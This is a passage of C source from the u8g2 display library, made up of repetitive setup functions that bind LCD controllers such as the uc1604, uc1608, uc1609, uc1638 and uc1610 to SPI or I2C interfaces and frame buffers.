u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_hx1230_96x68, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_9_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1604 */ /* uc1604 1 */ void u8g2_Setup_uc1604_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1604 2 */ void u8g2_Setup_uc1604_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1604 f */ void u8g2_Setup_uc1604_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1604 */ /* uc1604 1 */ void u8g2_Setup_uc1604_i2c_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1604 2 */ void u8g2_Setup_uc1604_i2c_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1604 f */ void u8g2_Setup_uc1604_i2c_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 */ /* uc1608 1 */ void u8g2_Setup_uc1608_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_uc1608_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 2 */ void u8g2_Setup_uc1608_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_uc1608_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 f */ void u8g2_Setup_uc1608_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_uc1608_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 */ /* uc1608 1 */ void u8g2_Setup_uc1608_i2c_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_uc1608_i2c_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 2 */ void u8g2_Setup_uc1608_i2c_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_uc1608_i2c_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 f */ void u8g2_Setup_uc1608_i2c_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_uc1608_i2c_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 */ /* uc1608 1 */ void u8g2_Setup_uc1608_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_15_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 2 */ void u8g2_Setup_uc1608_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_15_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 f */ void u8g2_Setup_uc1608_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_15_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 */ /* uc1608 1 */ void u8g2_Setup_uc1608_i2c_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_15_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 2 */ void u8g2_Setup_uc1608_i2c_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_15_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 f */ void u8g2_Setup_uc1608_i2c_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_15_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 */ /* uc1608 1 */ void u8g2_Setup_uc1608_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 2 */ void u8g2_Setup_uc1608_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 f */ void u8g2_Setup_uc1608_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 */ /* uc1608 1 */ void u8g2_Setup_uc1608_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 2 */ void u8g2_Setup_uc1608_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1608 f */ void u8g2_Setup_uc1608_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1609 */ /* uc1609 1 */ void u8g2_Setup_uc1609_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1609 2 */ void u8g2_Setup_uc1609_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1609 f */ void u8g2_Setup_uc1609_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1609 */ /* uc1609 1 */ void u8g2_Setup_uc1609_i2c_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1609 2 */ void u8g2_Setup_uc1609_i2c_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1609 f */ void u8g2_Setup_uc1609_i2c_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 */ /* uc1638 1 */ void u8g2_Setup_uc1638_160x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_160x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 2 */ void u8g2_Setup_uc1638_160x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_160x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 f */ void u8g2_Setup_uc1638_160x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_160x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 */ /* uc1638 1 */ void u8g2_Setup_uc1638_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 2 */ void u8g2_Setup_uc1638_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 f */ void u8g2_Setup_uc1638_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 */ /* uc1638 1 */ void u8g2_Setup_uc1638_i2c_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 2 */ void u8g2_Setup_uc1638_i2c_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 f */ void u8g2_Setup_uc1638_i2c_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_24_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 */ /* uc1638 1 */ void u8g2_Setup_uc1638_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 2 */ void u8g2_Setup_uc1638_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 f */ void u8g2_Setup_uc1638_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 */ /* uc1638 1 */ void u8g2_Setup_uc1638_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 2 */ void u8g2_Setup_uc1638_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1638 f */ void u8g2_Setup_uc1638_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1610 */ /* uc1610 1 */ void u8g2_Setup_uc1610_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1610 2 */ void u8g2_Setup_uc1610_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1610 f */ void u8g2_Setup_uc1610_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_13_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* uc1610 */ /* uc1610 1 */ void u8g2_Setup_uc1610_i2c_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; 